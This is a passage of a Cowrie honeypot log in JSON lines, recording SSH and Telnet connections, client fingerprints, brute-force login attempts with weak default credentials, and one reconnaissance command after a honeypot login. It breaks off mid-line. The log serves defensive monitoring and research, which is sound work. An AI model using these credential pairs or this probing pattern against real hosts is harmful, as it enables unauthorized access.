{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:14.168911Z","src_ip":"83.168.110.85","session":"7e1e9de847a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123456","message":"login attempt [root/aA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:14.533194Z","src_ip":"83.168.110.85","session":"7e1e9de847a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:15.657794Z","src_ip":"83.168.110.85","session":"7e1e9de847a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":40402,"dst_ip":"159.203.135.109","dst_port":22,"session":"1750f951c6d0","protocol":"ssh","message":"New connection: 83.168.110.85:40402 (159.203.135.109:22) [session: 1750f951c6d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:24.395826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:24.401616Z","src_ip":"83.168.110.85","session":"1750f951c6d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:24.525874Z","src_ip":"83.168.110.85","session":"1750f951c6d0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:24.892528Z","src_ip":"83.168.110.85","session":"1750f951c6d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.197.32","src_port":62198,"dst_ip":"159.203.135.109","dst_port":23,"session":"e41088cae88a","protocol":"telnet","message":"New connection: 64.62.197.32:62198 (159.203.135.109:23) [session: e41088cae88a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:25.065689Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:25.076517Z","src_ip":"64.62.197.32","session":"e41088cae88a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0","password":"Accept: */*","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:25.081324Z","src_ip":"64.62.197.32","session":"e41088cae88a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Encoding: gzip","password":"","message":"login attempt [Accept-Encoding: gzip/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:25.085995Z","src_ip":"64.62.197.32","session":"e41088cae88a","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:25.185008Z","src_ip":"83.168.110.85","session":"1750f951c6d0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:25.188704Z","src_ip":"83.168.110.85","session":"1750f951c6d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.13404560089111328,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:25.199301Z","src_ip":"64.62.197.32","session":"e41088cae88a","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:25.413517Z","src_ip":"83.168.110.85","session":"1750f951c6d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:25.418918Z","src_ip":"83.168.110.85","session":"1750f951c6d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":47646,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f060a25e748","protocol":"ssh","message":"New connection: 83.168.110.85:47646 (159.203.135.109:22) [session: 0f060a25e748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:34.987927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:34.993286Z","src_ip":"83.168.110.85","session":"0f060a25e748","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:35.115024Z","src_ip":"83.168.110.85","session":"0f060a25e748","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:35.478673Z","src_ip":"83.168.110.85","session":"0f060a25e748","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":35444,"dst_ip":"159.203.135.109","dst_port":22,"session":"7eb5ee26e64e","protocol":"ssh","message":"New connection: 194.113.233.25:35444 (159.203.135.109:22) [session: 7eb5ee26e64e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:35.922827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:35.927345Z","src_ip":"194.113.233.25","session":"7eb5ee26e64e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:36.020032Z","src_ip":"194.113.233.25","session":"7eb5ee26e64e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kokoko","message":"login attempt [root/kokoko] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:36.292571Z","src_ip":"194.113.233.25","session":"7eb5ee26e64e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:36.602310Z","src_ip":"83.168.110.85","session":"0f060a25e748","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:37.385239Z","src_ip":"194.113.233.25","session":"7eb5ee26e64e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":37546,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d9b7ae633a0","protocol":"ssh","message":"New connection: 62.133.63.178:37546 (10.17.0.5:22) [session: 5d9b7ae633a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:43.521532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:43.525611Z","src_ip":"62.133.63.178","session":"5d9b7ae633a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:43.642964Z","src_ip":"62.133.63.178","session":"5d9b7ae633a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"irina","message":"login attempt [root/irina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:44.007458Z","src_ip":"62.133.63.178","session":"5d9b7ae633a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:45.130296Z","src_ip":"62.133.63.178","session":"5d9b7ae633a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":39704,"dst_ip":"159.203.135.109","dst_port":22,"session":"509baade18cb","protocol":"ssh","message":"New connection: 83.168.110.85:39704 (159.203.135.109:22) [session: 509baade18cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:45.172476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:45.180111Z","src_ip":"83.168.110.85","session":"509baade18cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:45.302118Z","src_ip":"83.168.110.85","session":"509baade18cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:45.676091Z","src_ip":"83.168.110.85","session":"509baade18cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:46.800289Z","src_ip":"83.168.110.85","session":"509baade18cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":46640,"dst_ip":"159.203.135.109","dst_port":22,"session":"4bd4e4f1f7d4","protocol":"ssh","message":"New connection: 83.168.110.85:46640 (159.203.135.109:22) [session: 4bd4e4f1f7d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:55.391983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:55.396674Z","src_ip":"83.168.110.85","session":"4bd4e4f1f7d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:55.517187Z","src_ip":"83.168.110.85","session":"4bd4e4f1f7d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:56.042587Z","src_ip":"83.168.110.85","session":"4bd4e4f1f7d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:57.166674Z","src_ip":"83.168.110.85","session":"4bd4e4f1f7d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.184.246.230","src_port":59742,"dst_ip":"10.17.0.5","dst_port":22,"session":"c23eccbeea5f","protocol":"ssh","message":"New connection: 4.184.246.230:59742 (10.17.0.5:22) [session: c23eccbeea5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:57.799323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:57.867739Z","src_ip":"4.184.246.230","session":"c23eccbeea5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 